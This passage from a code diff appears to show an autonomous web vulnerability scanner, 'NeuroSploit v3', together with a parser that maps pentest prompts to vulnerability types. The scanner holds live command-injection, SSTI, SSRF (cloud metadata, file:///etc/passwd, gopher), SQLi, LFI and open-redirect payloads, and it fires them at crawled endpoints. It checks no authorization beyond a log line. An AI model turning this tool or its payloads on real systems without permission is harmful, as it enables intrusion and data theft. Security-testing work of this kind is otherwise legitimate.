CMDI_PAYLOADS = [
"; id", "| id", "|| id", "&& id",
"; whoami", "| whoami", "|| whoami",
"`id`", "$(id)", "${id}",
"; cat /etc/passwd", "| cat /etc/passwd",
"; ping -c 3 127.0.0.1", "| ping -c 3 127.0.0.1",
]
# SSTI payloads
SSTI_PAYLOADS = [
"{{7*7}}", "${7*7}", "<%= 7*7 %>",
"{{config}}", "{{self}}", "{{request}}",
"${T(java.lang.Runtime).getRuntime().exec('id')}",
"{{''.__class__.__mro__[2].__subclasses__()}}",
"@(1+2)", "#{7*7}",
]
# SSRF payloads
SSRF_PAYLOADS = [
"http://localhost", "http://127.0.0.1",
"http://[::1]", "http://0.0.0.0",
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/",
"file:///etc/passwd",
"dict://localhost:11211/",
"gopher://localhost:6379/_",
]
def __init__(
self,
scan_id: str,
log_callback: Optional[Callable] = None,
timeout: int = 15,
max_depth: int = 3
):
self.scan_id = scan_id
self.log_callback = log_callback or self._default_log
self.timeout = timeout
self.max_depth = max_depth
self.discovered_endpoints: List[DiscoveredEndpoint] = []
self.tested_urls: set = set()
self.vulnerabilities: List[TestResult] = []
self.session: Optional[aiohttp.ClientSession] = None
self.wordlist_path = "/opt/wordlists/common.txt"
async def _default_log(self, level: str, message: str):
"""Default logging"""
print(f"[{level.upper()}] {message}")
async def log(self, level: str, message: str):
"""Log a message"""
if asyncio.iscoroutinefunction(self.log_callback):
await self.log_callback(level, message)
else:
self.log_callback(level, message)
async def __aenter__(self):
connector = aiohttp.TCPConnector(ssl=False, limit=50)
timeout = aiohttp.ClientTimeout(total=self.timeout)
self.session = aiohttp.ClientSession(connector=connector, timeout=timeout)
return self
async def __aexit__(self, *args):
if self.session:
await self.session.close()
async def run_autonomous_scan(
self,
target_url: str,
recon_data: Optional[Dict] = None
) -> Dict[str, Any]:
"""
Run a fully autonomous scan on the target.
This will:
1. Spider/crawl the target
2. Discover directories
3. Find parameters
4. Test all discovered endpoints
Returns comprehensive results even if recon found nothing.
"""
await self.log("info", f"Starting autonomous scan on: {target_url}")
await self.log("info", "This is an authorized penetration test.")
parsed = urlparse(target_url)
base_url = f"{parsed.scheme}://{parsed.netloc}"
results = {
"target": target_url,
"started_at": datetime.utcnow().isoformat(),
"endpoints": [],
"vulnerabilities": [],
"parameters_found": [],
"directories_found": [],
"technologies": []
}
# Phase 1: Initial probe
await self.log("info", "Phase 1: Initial target probe...")
initial_info = await self._probe_target(target_url)
results["technologies"] = initial_info.get("technologies", [])
await self.log("info", f" Technologies detected: {', '.join(results['technologies']) or 'None'}")
# Phase 2: Directory discovery
await self.log("info", "Phase 2: Directory discovery...")
directories = await self._discover_directories(base_url)
results["directories_found"] = directories
await self.log("info", f" Found {len(directories)} directories")
# Phase 3: Crawl the site
await self.log("info", "Phase 3: Crawling site for links and forms...")
crawled = await self._crawl_site(target_url)
await self.log("info", f" Crawled {len(crawled)} pages")
# Phase 4: Discover parameters
await self.log("info", "Phase 4: Parameter discovery...")
parameters = await self._discover_parameters(target_url)
results["parameters_found"] = parameters
await self.log("info", f" Found {len(parameters)} parameters")
# Phase 5: Generate test endpoints
await self.log("info", "Phase 5: Generating test endpoints...")
test_endpoints = self._generate_test_endpoints(target_url, parameters, directories)
await self.log("info", f" Generated {len(test_endpoints)} test endpoints")
# Merge with any recon data
if recon_data:
for url in recon_data.get("urls", []):
self._add_endpoint(url, source="recon")
for endpoint in recon_data.get("endpoints", []):
if isinstance(endpoint, dict):
self._add_endpoint(endpoint.get("url", ""), source="recon")
# Add test endpoints
for ep in test_endpoints:
self._add_endpoint(ep["url"], source=ep.get("source", "generated"))
results["endpoints"] = [
{
"url": ep.url,
"method": ep.method,
"status": ep.status_code,
"source": ep.source,
"parameters": ep.parameters
}
for ep in self.discovered_endpoints
]
# Phase 6: Vulnerability testing
await self.log("info", f"Phase 6: Testing {len(self.discovered_endpoints)} endpoints for vulnerabilities...")
for i, endpoint in enumerate(self.discovered_endpoints):
if endpoint.url in self.tested_urls:
continue
self.tested_urls.add(endpoint.url)
await self.log("debug", f" [{i+1}/{len(self.discovered_endpoints)}] Testing: {endpoint.url[:80]}...")
# Test each vulnerability type
vulns = await self._test_endpoint_all_vulns(endpoint)
self.vulnerabilities.extend(vulns)
# Log findings immediately
for vuln in vulns:
await self.log("warning", f" FOUND: {vuln.vuln_type} on {endpoint.url[:60]} (confidence: {vuln.confidence:.0%})")
results["vulnerabilities"] = [
{
"type": v.vuln_type,
"endpoint": v.endpoint,
"payload": v.payload,
"confidence": v.confidence,
"evidence": v.evidence[:500]
}
for v in self.vulnerabilities
]
results["completed_at"] = datetime.utcnow().isoformat()
results["summary"] = {
"endpoints_tested": len(self.tested_urls),
"vulnerabilities_found": len(self.vulnerabilities),
"critical": len([v for v in self.vulnerabilities if v.confidence >= 0.9]),
"high": len([v for v in self.vulnerabilities if 0.7 <= v.confidence < 0.9]),
"medium": len([v for v in self.vulnerabilities if 0.5 <= v.confidence < 0.7]),
}
await self.log("info", f"Autonomous scan complete. Found {len(self.vulnerabilities)} potential vulnerabilities.")
return results
def _add_endpoint(self, url: str, source: str = "discovery"):
"""Add an endpoint if not already discovered"""
if not url:
return
for ep in self.discovered_endpoints:
if ep.url == url:
return
self.discovered_endpoints.append(DiscoveredEndpoint(url=url, source=source))
async def _probe_target(self, url: str) -> Dict:
"""Initial probe to gather info about the target"""
info = {"technologies": [], "headers": {}, "server": ""}
try:
async with self.session.get(url, headers={"User-Agent": "NeuroSploit/3.0"}) as resp:
info["headers"] = dict(resp.headers)
info["status"] = resp.status
body = await resp.text()
# Detect technologies
if "wp-content" in body or "WordPress" in body:
info["technologies"].append("WordPress")
if "Joomla" in body:
info["technologies"].append("Joomla")
if "Drupal" in body:
info["technologies"].append("Drupal")
if "react" in body.lower() or "React" in body:
info["technologies"].append("React")
if "angular" in body.lower():
info["technologies"].append("Angular")
if "vue" in body.lower():
info["technologies"].append("Vue.js")
if "php" in body.lower() or ".php" in body:
info["technologies"].append("PHP")
if "asp.net" in body.lower() or "aspx" in body.lower():
info["technologies"].append("ASP.NET")
if "java" in body.lower() or "jsp" in body.lower():
info["technologies"].append("Java")
# Server header
info["server"] = resp.headers.get("Server", "")
if info["server"]:
info["technologies"].append(f"Server: {info['server']}")
# X-Powered-By
powered_by = resp.headers.get("X-Powered-By", "")
if powered_by:
info["technologies"].append(f"Powered by: {powered_by}")
except Exception as e:
await self.log("debug", f"Probe error: {str(e)}")
return info
async def _discover_directories(self, base_url: str) -> List[str]:
"""Discover directories using built-in wordlist and common paths"""
found_dirs = []
# First try common endpoints
await self.log("debug", " Testing common endpoints...")
tasks = []
for endpoint in self.COMMON_ENDPOINTS:
url = urljoin(base_url, endpoint)
tasks.append(self._check_url_exists(url))
results = await asyncio.gather(*tasks, return_exceptions=True)
for endpoint, result in zip(self.COMMON_ENDPOINTS, results):
if isinstance(result, dict) and result.get("exists"):
found_dirs.append(endpoint)
self._add_endpoint(urljoin(base_url, endpoint), source="directory_bruteforce")
await self.log("debug", f" Found: {endpoint} [{result.get('status')}]")
# Try using ffuf if available
if await self._tool_available("ffuf"):
await self.log("debug", " Running ffuf directory scan...")
ffuf_results = await self._run_ffuf(base_url)
for path in ffuf_results:
if path not in found_dirs:
found_dirs.append(path)
self._add_endpoint(urljoin(base_url, path), source="ffuf")
return found_dirs
async def _check_url_exists(self, url: str) -> Dict:
"""Check if a URL exists (returns 2xx or 3xx)"""
try:
async with self.session.get(
url,
headers={"User-Agent": "NeuroSploit/3.0"},
allow_redirects=False
) as resp:
exists = resp.status < 400 and resp.status != 404
return {"exists": exists, "status": resp.status}
except:
return {"exists": False, "status": 0}
async def _tool_available(self, tool_name: str) -> bool:
"""Check if a tool is available"""
try:
result = subprocess.run(
["which", tool_name],
capture_output=True,
timeout=5
)
return result.returncode == 0
except:
return False
async def _run_ffuf(self, base_url: str) -> List[str]:
"""Run ffuf for directory discovery"""
found = []
try:
wordlist = self.wordlist_path if os.path.exists(self.wordlist_path) else None
if not wordlist:
return found
cmd = [
"ffuf",
"-u", f"{base_url}/FUZZ",
"-w", wordlist,
"-mc", "200,201,301,302,307,401,403,500",
"-t", "20",
"-timeout", "10",
"-o", "/tmp/ffuf_out.json",
"-of", "json",
"-s" # Silent
]
process = await asyncio.create_subprocess_exec(
*cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
await asyncio.wait_for(process.wait(), timeout=120)
if os.path.exists("/tmp/ffuf_out.json"):
with open("/tmp/ffuf_out.json", "r") as f:
data = json.load(f)
for result in data.get("results", []):
path = "/" + result.get("input", {}).get("FUZZ", "")
if path and path != "/":
found.append(path)
os.remove("/tmp/ffuf_out.json")
except Exception as e:
await self.log("debug", f"ffuf error: {str(e)}")
return found
async def _crawl_site(self, url: str) -> List[str]:
"""Crawl the site to find links, forms, and endpoints"""
crawled = []
to_crawl = [url]
visited = set()
depth = 0
parsed_base = urlparse(url)
base_domain = parsed_base.netloc
while to_crawl and depth < self.max_depth:
current_batch = to_crawl[:20] # Crawl 20 at a time
to_crawl = to_crawl[20:]
tasks = []
for page_url in current_batch:
if page_url in visited:
continue
visited.add(page_url)
tasks.append(self._extract_links(page_url, base_domain))
results = await asyncio.gather(*tasks, return_exceptions=True)
for result in results:
if isinstance(result, list):
crawled.extend(result)
for link in result:
if link not in visited and link not in to_crawl:
to_crawl.append(link)
depth += 1
return list(set(crawled))
async def _extract_links(self, url: str, base_domain: str) -> List[str]:
"""Extract links and forms from a page"""
links = []
try:
async with self.session.get(
url,
headers={"User-Agent": "NeuroSploit/3.0"}
) as resp:
body = await resp.text()
# Extract href links
href_pattern = r'href=["\']([^"\']+)["\']'
for match in re.finditer(href_pattern, body, re.IGNORECASE):
link = match.group(1)
full_url = urljoin(url, link)
parsed = urlparse(full_url)
if parsed.netloc == base_domain:
links.append(full_url)
self._add_endpoint(full_url, source="crawler")
# Extract src attributes
src_pattern = r'src=["\']([^"\']+)["\']'
for match in re.finditer(src_pattern, body, re.IGNORECASE):
link = match.group(1)
full_url = urljoin(url, link)
if ".js" in full_url or ".php" in full_url:
self._add_endpoint(full_url, source="crawler")
# Extract form actions
form_pattern = r'<form[^>]*action=["\']([^"\']*)["\'][^>]*>'
for match in re.finditer(form_pattern, body, re.IGNORECASE):
action = match.group(1) or url
full_url = urljoin(url, action)
self._add_endpoint(full_url, source="form")
# Extract URLs from JavaScript
js_url_pattern = r'["\']/(api|v1|v2|user|admin|login|auth)[^"\']*["\']'
for match in re.finditer(js_url_pattern, body):
path = match.group(0).strip("\"'")
full_url = urljoin(url, path)
self._add_endpoint(full_url, source="javascript")
except Exception as e:
pass
return links
async def _discover_parameters(self, url: str) -> List[str]:
"""Discover parameters through various methods"""
found_params = set()
# Extract from URL
parsed = urlparse(url)
if parsed.query:
params = parse_qs(parsed.query)
found_params.update(params.keys())
# Try common parameters
await self.log("debug", " Testing common parameters...")
base_url = url.split("?")[0]
for param in self.COMMON_PARAMS[:20]: # Test top 20
test_url = f"{base_url}?{param}=test123"
try:
async with self.session.get(
test_url,
headers={"User-Agent": "NeuroSploit/3.0"}
) as resp:
body = await resp.text()
# Check if parameter is reflected or changes response
if "test123" in body or resp.status == 200:
found_params.add(param)
except:
pass
# Try arjun if available
if await self._tool_available("arjun"):
await self.log("debug", " Running arjun parameter discovery...")
try:
process = await asyncio.create_subprocess_exec(
"arjun", "-u", url, "-o", "/tmp/arjun_out.json", "-q",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
await asyncio.wait_for(process.wait(), timeout=60)
if os.path.exists("/tmp/arjun_out.json"):
with open("/tmp/arjun_out.json", "r") as f:
data = json.load(f)
for url_data in data.values():
if isinstance(url_data, list):
found_params.update(url_data)
os.remove("/tmp/arjun_out.json")
except:
pass
return list(found_params)
def _generate_test_endpoints(
self,
target_url: str,
parameters: List[str],
directories: List[str]
) -> List[Dict]:
"""Generate test endpoints based on discovered information"""
endpoints = []
parsed = urlparse(target_url)
base_url = f"{parsed.scheme}://{parsed.netloc}"
# Generate endpoint + parameter combinations
for directory in directories:
full_url = urljoin(base_url, directory)
endpoints.append({"url": full_url, "source": "directory"})
# Add with common parameters
for param in self.COMMON_PARAMS[:10]:
test_url = f"{full_url}?{param}=FUZZ"
endpoints.append({"url": test_url, "source": "param_injection"})
# Target URL with discovered parameters
for param in parameters:
test_url = f"{target_url.split('?')[0]}?{param}=FUZZ"
endpoints.append({"url": test_url, "source": "discovered_param"})
# Multi-param combinations
if len(parameters) >= 2:
param_string = "&".join([f"{p}=FUZZ" for p in parameters[:5]])
test_url = f"{target_url.split('?')[0]}?{param_string}"
endpoints.append({"url": test_url, "source": "multi_param"})
return endpoints
async def _test_endpoint_all_vulns(self, endpoint: DiscoveredEndpoint) -> List[TestResult]:
"""Test an endpoint for all vulnerability types"""
results = []
url = endpoint.url
# Test XSS
xss_result = await self._test_xss(url)
if xss_result:
results.append(xss_result)
# Test SQLi
sqli_result = await self._test_sqli(url)
if sqli_result:
results.append(sqli_result)
# Test LFI
lfi_result = await self._test_lfi(url)
if lfi_result:
results.append(lfi_result)
# Test Command Injection
cmdi_result = await self._test_cmdi(url)
if cmdi_result:
results.append(cmdi_result)
# Test SSTI
ssti_result = await self._test_ssti(url)
if ssti_result:
results.append(ssti_result)
# Test Open Redirect
redirect_result = await self._test_open_redirect(url)
if redirect_result:
results.append(redirect_result)
return results
async def _inject_payload(self, url: str, payload: str) -> Optional[Dict]:
"""Inject a payload into URL parameters"""
try:
if "?" in url:
base, query = url.split("?", 1)
params = {}
for p in query.split("&"):
if "=" in p:
k, v = p.split("=", 1)
params[k] = payload
else:
params[p] = payload
test_url = base + "?" + urlencode(params)
else:
# Add payload as common parameter
test_url = f"{url}?id={payload}&q={payload}"
async with self.session.get(
test_url,
headers={"User-Agent": "NeuroSploit/3.0"},
allow_redirects=False
) as resp:
body = await resp.text()
return {
"url": test_url,
"status": resp.status,
"headers": dict(resp.headers),
"body": body[:5000],
"payload": payload
}
except:
return None
async def _test_xss(self, url: str) -> Optional[TestResult]:
"""Test for XSS vulnerabilities"""
for payload in self.XSS_PAYLOADS:
result = await self._inject_payload(url, payload)
if not result:
continue
# Check if payload is reflected
if payload in result["body"]:
return TestResult(
endpoint=url,
vuln_type="xss_reflected",
payload=payload,
is_vulnerable=True,
confidence=0.8,
evidence=f"Payload reflected in response: {payload}",
request={"url": result["url"], "method": "GET"},
response={"status": result["status"], "body_preview": result["body"][:500]}
)
# Check for unescaped reflection
if payload.replace("<", "&lt;").replace(">", "&gt;") not in result["body"]:
if any(tag in result["body"] for tag in ["<script", "<img", "<svg", "onerror", "onload"]):
return TestResult(
endpoint=url,
vuln_type="xss_reflected",
payload=payload,
is_vulnerable=True,
confidence=0.6,
evidence="HTML tags detected in response",
request={"url": result["url"], "method": "GET"},
response={"status": result["status"], "body_preview": result["body"][:500]}
)
return None
async def _test_sqli(self, url: str) -> Optional[TestResult]:
"""Test for SQL injection vulnerabilities"""
error_patterns = [
"sql syntax", "mysql", "sqlite", "postgresql", "oracle",
"syntax error", "unclosed quotation", "unterminated string",
"query failed", "database error", "odbc", "jdbc",
"microsoft sql", "pg_query", "mysql_fetch", "ora-",
"quoted string not properly terminated"
]
for payload in self.SQLI_PAYLOADS:
result = await self._inject_payload(url, payload)
if not result:
continue
body_lower = result["body"].lower()
# Check for SQL error messages
for pattern in error_patterns:
if pattern in body_lower:
return TestResult(
endpoint=url,
vuln_type="sqli_error",
payload=payload,
is_vulnerable=True,
confidence=0.9,
evidence=f"SQL error pattern found: {pattern}",
request={"url": result["url"], "method": "GET"},
response={"status": result["status"], "body_preview": result["body"][:500]}
)
# Test for time-based blind SQLi
time_payloads = ["1' AND SLEEP(5)--", "1'; WAITFOR DELAY '0:0:5'--"]
for payload in time_payloads:
import time
start = time.time()
result = await self._inject_payload(url, payload)
elapsed = time.time() - start
if elapsed >= 4.5: # Account for network latency
return TestResult(
endpoint=url,
vuln_type="sqli_blind_time",
payload=payload,
is_vulnerable=True,
confidence=0.7,
evidence=f"Response delayed by {elapsed:.1f}s (expected 5s)",
request={"url": url, "method": "GET"},
response={"status": 0, "body_preview": "TIMEOUT"}
)
return None
async def _test_lfi(self, url: str) -> Optional[TestResult]:
"""Test for Local File Inclusion vulnerabilities"""
lfi_indicators = [
"root:x:", "root:*:", "[boot loader]", "[operating systems]",
"bin/bash", "/bin/sh", "daemon:", "www-data:",
"[extensions]", "[fonts]", "extension=",
]
for payload in self.LFI_PAYLOADS:
result = await self._inject_payload(url, payload)
if not result:
continue
body_lower = result["body"].lower()
for indicator in lfi_indicators:
if indicator.lower() in body_lower:
return TestResult(
endpoint=url,
vuln_type="lfi",
payload=payload,
is_vulnerable=True,
confidence=0.95,
evidence=f"File content indicator found: {indicator}",
request={"url": result["url"], "method": "GET"},
response={"status": result["status"], "body_preview": result["body"][:500]}
)
return None
async def _test_cmdi(self, url: str) -> Optional[TestResult]:
"""Test for Command Injection vulnerabilities"""
cmdi_indicators = [
"uid=", "gid=", "groups=", "root:x:",
"linux", "darwin", "bin/", "/usr/",
"volume serial number", "directory of",
]
for payload in self.CMDI_PAYLOADS:
result = await self._inject_payload(url, payload)
if not result:
continue
body_lower = result["body"].lower()
for indicator in cmdi_indicators:
if indicator.lower() in body_lower:
return TestResult(
endpoint=url,
vuln_type="command_injection",
payload=payload,
is_vulnerable=True,
confidence=0.9,
evidence=f"Command output indicator found: {indicator}",
request={"url": result["url"], "method": "GET"},
response={"status": result["status"], "body_preview": result["body"][:500]}
)
return None
async def _test_ssti(self, url: str) -> Optional[TestResult]:
"""Test for Server-Side Template Injection"""
# Mathematical expressions that should evaluate
math_payloads = [
("{{7*7}}", "49"),
("${7*7}", "49"),
("<%= 7*7 %>", "49"),
("{{7*'7'}}", "7777777"),
("#{7*7}", "49"),
]
for payload, expected in math_payloads:
result = await self._inject_payload(url, payload)
if not result:
continue
if expected in result["body"] and payload not in result["body"]:
return TestResult(
endpoint=url,
vuln_type="ssti",
payload=payload,
is_vulnerable=True,
confidence=0.85,
evidence=f"Template expression evaluated: {payload} -> {expected}",
request={"url": result["url"], "method": "GET"},
response={"status": result["status"], "body_preview": result["body"][:500]}
)
return None
async def _test_open_redirect(self, url: str) -> Optional[TestResult]:
"""Test for Open Redirect vulnerabilities"""
redirect_payloads = [
"https://evil.com",
"//evil.com",
"////evil.com",
"https:evil.com",
"/\\evil.com",
"///evil.com/%2f..",
]
redirect_params = ["url", "redirect", "next", "return", "goto", "dest", "rurl", "target"]
parsed = urlparse(url)
base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
for param in redirect_params:
for payload in redirect_payloads:
test_url = f"{base_url}?{param}={payload}"
try:
async with self.session.get(
test_url,
headers={"User-Agent": "NeuroSploit/3.0"},
allow_redirects=False
) as resp:
if resp.status in [301, 302, 303, 307, 308]:
location = resp.headers.get("Location", "")
if "evil.com" in location:
return TestResult(
endpoint=url,
vuln_type="open_redirect",
payload=payload,
is_vulnerable=True,
confidence=0.85,
evidence=f"Redirects to external domain: {location}",
request={"url": test_url, "method": "GET"},
response={"status": resp.status, "location": location}
)
except:
pass
return None
+3
View File
@@ -0,0 +1,3 @@
from backend.core.prompt_engine.parser import PromptParser
__all__ = ["PromptParser"]
+450
View File
@@ -0,0 +1,450 @@
"""
NeuroSploit v3 - Prompt Parser
Parses user prompts to extract:
1. Vulnerability types to test
2. Testing scope and depth
3. Special instructions
4. Output format preferences
This enables dynamic, prompt-driven testing instead of hardcoded vulnerability types.
"""
import re
from typing import List, Dict, Optional, Tuple
from backend.schemas.prompt import (
PromptParseResult,
VulnerabilityTypeExtracted,
TestingScope
)
class PromptParser:
"""
Parses penetration testing prompts to extract structured testing instructions.
Instead of requiring specific LLM calls for every parse, this uses pattern matching
and keyword analysis for fast, deterministic extraction.
"""
# Vulnerability keyword mappings
VULNERABILITY_KEYWORDS = {
# XSS variants
"xss_reflected": [
"xss", "cross-site scripting", "reflected xss", "reflected cross-site",
"script injection", "html injection"
],
"xss_stored": [
"stored xss", "persistent xss", "stored cross-site", "persistent cross-site"
],
"xss_dom": [
"dom xss", "dom-based xss", "dom based", "client-side xss"
],
# SQL Injection variants
"sqli_error": [
"sql injection", "sqli", "sql error", "error-based sql"
],
"sqli_union": [
"union sql", "union injection", "union-based", "union based"
],
"sqli_blind": [
"blind sql", "blind injection", "boolean sql", "boolean-based"
],
"sqli_time": [
"time-based sql", "time based sql", "time-based injection"
],
# Other injections
"nosql_injection": [
"nosql", "mongodb injection", "nosql injection"
],
"command_injection": [
"command injection", "os command", "shell injection", "rce",
"remote code execution", "code execution"
],
"ssti": [
"ssti", "template injection", "server-side template", "jinja injection",
"twig injection"
],
"ldap_injection": [
"ldap injection", "ldap"
],
"xpath_injection": [
"xpath injection", "xpath"
],
"header_injection": [
"header injection", "http header"
],
"crlf_injection": [
"crlf", "carriage return", "header splitting"
],
# File access
"lfi": [
"lfi", "local file inclusion", "file inclusion", "path traversal",
"directory traversal", "../"
],
"rfi": [
"rfi", "remote file inclusion"
],
"path_traversal": [
"path traversal", "directory traversal", "dot dot slash"
],
"file_upload": [
"file upload", "upload vulnerability", "unrestricted upload",
"malicious upload"
],
"xxe": [
"xxe", "xml external entity", "xml injection"
],
# Request forgery
"ssrf": [
"ssrf", "server-side request forgery", "server side request",
"internal request"
],
"ssrf_cloud": [
"cloud metadata", "169.254.169.254", "metadata service", "aws metadata",
"gcp metadata"
],
"csrf": [
"csrf", "cross-site request forgery", "xsrf"
],
# Authentication
"auth_bypass": [
"authentication bypass", "auth bypass", "login bypass", "broken auth"
],
"session_fixation": [
"session fixation", "session hijacking"
],
"jwt_manipulation": [
"jwt", "json web token", "token manipulation", "jwt bypass"
],
"weak_password": [
"weak password", "password policy", "credential"
],
"brute_force": [
"brute force", "credential stuffing", "password spray"
],
# Authorization
"idor": [
"idor", "insecure direct object", "direct object reference"
],
"bola": [
"bola", "broken object level", "api authorization"
],
"privilege_escalation": [
"privilege escalation", "privesc", "priv esc", "elevation"
],
# API Security
"rate_limiting": [
"rate limit", "rate limiting", "throttling"
],
"mass_assignment": [
"mass assignment", "parameter pollution"
],
"excessive_data": [
"excessive data", "data exposure", "over-fetching"
],
"graphql_introspection": [
"graphql introspection", "graphql schema"
],
"graphql_injection": [
"graphql injection", "graphql attack"
],
# Client-side
"cors_misconfig": [
"cors", "cross-origin", "cors misconfiguration"
],
"clickjacking": [
"clickjacking", "click jacking", "ui redressing", "x-frame-options"
],
"open_redirect": [
"open redirect", "url redirect", "redirect vulnerability"
],
# Information disclosure
"error_disclosure": [
"error message", "stack trace", "debug information"
],
"sensitive_data": [
"sensitive data", "pii exposure", "data leak"
],
"debug_endpoints": [
"debug endpoint", "admin panel", "hidden endpoint"
],
# Infrastructure
"security_headers": [
"security headers", "http headers", "csp", "content-security-policy",
"hsts", "x-content-type"
],
"ssl_issues": [
"ssl", "tls", "certificate", "https"
],
"http_methods": [
"http methods", "options method", "trace method", "put method"
],
# Logic flaws
"race_condition": [
"race condition", "toctou", "time of check"
],
"business_logic": [
"business logic", "logic flaw", "workflow"
]
}
# Category mappings
VULNERABILITY_CATEGORIES = {
"injection": [
"xss_reflected", "xss_stored", "xss_dom", "sqli_error", "sqli_union",
"sqli_blind", "sqli_time", "nosql_injection", "command_injection",
"ssti", "ldap_injection", "xpath_injection", "header_injection", "crlf_injection"
],
"file_access": ["lfi", "rfi", "path_traversal", "file_upload", "xxe"],
"request_forgery": ["ssrf", "ssrf_cloud", "csrf"],
"authentication": [
"auth_bypass", "session_fixation", "jwt_manipulation",
"weak_password", "brute_force"
],
"authorization": ["idor", "bola", "privilege_escalation"],
"api_security": [
"rate_limiting", "mass_assignment", "excessive_data",
"graphql_introspection", "graphql_injection"
],
"client_side": ["cors_misconfig", "clickjacking", "open_redirect"],
"information_disclosure": ["error_disclosure", "sensitive_data", "debug_endpoints"],
"infrastructure": ["security_headers", "ssl_issues", "http_methods"],
"logic_flaws": ["race_condition", "business_logic"]
}
# Depth keywords
DEPTH_KEYWORDS = {
"quick": ["quick", "fast", "basic", "simple", "light"],
"standard": ["standard", "normal", "default"],
"thorough": ["thorough", "comprehensive", "complete", "full", "deep"],
"exhaustive": ["exhaustive", "extensive", "all", "everything", "maximum"]
}
def __init__(self):
# Compile regex patterns for efficiency
self._compile_patterns()
def _compile_patterns(self):
"""Compile regex patterns for keyword matching"""
self.vuln_patterns = {}
for vuln_type, keywords in self.VULNERABILITY_KEYWORDS.items():
pattern = r'\b(' + '|'.join(re.escape(kw) for kw in keywords) + r')\b'
self.vuln_patterns[vuln_type] = re.compile(pattern, re.IGNORECASE)
async def parse(self, prompt: str) -> PromptParseResult:
"""
Parse a prompt to extract testing instructions.
Args:
prompt: User's penetration testing prompt
Returns:
PromptParseResult with extracted vulnerabilities and scope
"""
prompt_lower = prompt.lower()
# Extract vulnerability types
vulnerabilities = self._extract_vulnerabilities(prompt, prompt_lower)
# If no specific vulnerabilities mentioned but comprehensive keywords found,
# add all vulnerabilities
if not vulnerabilities:
if any(kw in prompt_lower for kw in ["all vulnerabilities", "comprehensive", "full pentest", "everything"]):
vulnerabilities = self._get_all_vulnerabilities(prompt)
# Extract testing scope
scope = self._extract_scope(prompt_lower)
# Extract special instructions
special_instructions = self._extract_special_instructions(prompt)
# Extract target filters
target_filters = self._extract_target_filters(prompt)
# Extract output preferences
output_preferences = self._extract_output_preferences(prompt_lower)
return PromptParseResult(
vulnerabilities_to_test=vulnerabilities,
testing_scope=scope,
special_instructions=special_instructions,
target_filters=target_filters,
output_preferences=output_preferences
)
def _extract_vulnerabilities(self, prompt: str, prompt_lower: str) -> List[VulnerabilityTypeExtracted]:
"""Extract vulnerability types from prompt"""
vulnerabilities = []
found_types = set()
for vuln_type, pattern in self.vuln_patterns.items():
matches = pattern.findall(prompt_lower)
if matches:
# Calculate confidence based on number of matches and context
confidence = min(0.9, 0.5 + len(matches) * 0.1)
# Get category
category = self._get_category(vuln_type)
# Extract context (surrounding text)
context = self._extract_context(prompt, matches[0])
if vuln_type not in found_types:
found_types.add(vuln_type)
vulnerabilities.append(VulnerabilityTypeExtracted(
type=vuln_type,
category=category,
confidence=confidence,
context=context
))
return vulnerabilities
def _get_all_vulnerabilities(self, prompt: str) -> List[VulnerabilityTypeExtracted]:
"""Get all vulnerability types for comprehensive testing"""
vulnerabilities = []
for vuln_type in self.VULNERABILITY_KEYWORDS.keys():
category = self._get_category(vuln_type)
vulnerabilities.append(VulnerabilityTypeExtracted(
type=vuln_type,
category=category,
confidence=0.7,
context="Comprehensive testing requested"
))
return vulnerabilities
def _get_category(self, vuln_type: str) -> str:
"""Get category for a vulnerability type"""
for category, types in self.VULNERABILITY_CATEGORIES.items():
if vuln_type in types:
return category
return "other"
def _extract_context(self, prompt: str, keyword: str, window: int = 50) -> str:
"""Extract context around a keyword"""
idx = prompt.lower().find(keyword.lower())
if idx == -1:
return ""
start = max(0, idx - window)
end = min(len(prompt), idx + len(keyword) + window)
return prompt[start:end].strip()
def _extract_scope(self, prompt_lower: str) -> TestingScope:
"""Extract testing scope from prompt"""
# Determine depth
depth = "standard"
for level, keywords in self.DEPTH_KEYWORDS.items():
if any(kw in prompt_lower for kw in keywords):
depth = level
break
# Check for recon
include_recon = not any(
kw in prompt_lower for kw in ["no recon", "skip recon", "without recon"]
)
# Extract time limits
time_limit = None
time_match = re.search(r'(\d+)\s*(minute|min|hour|hr)', prompt_lower)
if time_match:
value = int(time_match.group(1))
unit = time_match.group(2)
if 'hour' in unit or 'hr' in unit:
time_limit = value * 60
else:
time_limit = value
# Extract request limits
max_requests = None
req_match = re.search(r'(\d+)\s*(request|req)', prompt_lower)
if req_match:
max_requests = int(req_match.group(1))
return TestingScope(
include_recon=include_recon,
depth=depth,
max_requests_per_endpoint=max_requests,
time_limit_minutes=time_limit
)
def _extract_special_instructions(self, prompt: str) -> List[str]:
"""Extract special instructions from prompt"""
instructions = []
# Look for explicit instructions
instruction_patterns = [
r'focus on[:\s]+([^.]+)',
r'prioritize[:\s]+([^.]+)',
r'especially[:\s]+([^.]+)',
r'important[:\s]+([^.]+)',
r'make sure to[:\s]+([^.]+)',
r'don\'t forget to[:\s]+([^.]+)'
]
for pattern in instruction_patterns:
matches = re.findall(pattern, prompt, re.IGNORECASE)
instructions.extend(matches)
return instructions
def _extract_target_filters(self, prompt: str) -> Dict:
"""Extract target filtering preferences"""
filters = {
"include_patterns": [],
"exclude_patterns": [],
"focus_on_parameters": []
}
# Look for include patterns
include_match = re.findall(r'only\s+test\s+([^.]+)', prompt, re.IGNORECASE)
if include_match:
filters["include_patterns"].extend(include_match)
# Look for exclude patterns
exclude_match = re.findall(r'(?:skip|exclude|ignore)\s+([^.]+)', prompt, re.IGNORECASE)
if exclude_match:
filters["exclude_patterns"].extend(exclude_match)
# Look for parameter focus
param_match = re.findall(r'parameter[s]?\s+(?:like|named|called)\s+(\w+)', prompt, re.IGNORECASE)
if param_match:
filters["focus_on_parameters"].extend(param_match)
return filters
def _extract_output_preferences(self, prompt_lower: str) -> Dict:
"""Extract output and reporting preferences"""
preferences = {
"severity_threshold": "all",
"include_poc": True,
"include_remediation": True
}
# Severity threshold
if "critical only" in prompt_lower or "only critical" in prompt_lower:
preferences["severity_threshold"] = "critical"
elif "high and above" in prompt_lower or "high severity" in prompt_lower:
preferences["severity_threshold"] = "high"
elif "medium and above" in prompt_lower:
preferences["severity_threshold"] = "medium"
# PoC preference
if "no poc" in prompt_lower or "without poc" in prompt_lower:
preferences["include_poc"] = False
# Remediation preference
if "no remediation" in prompt_lower or "without remediation" in prompt_lower:
preferences["include_remediation"] = False
return preferences
+883
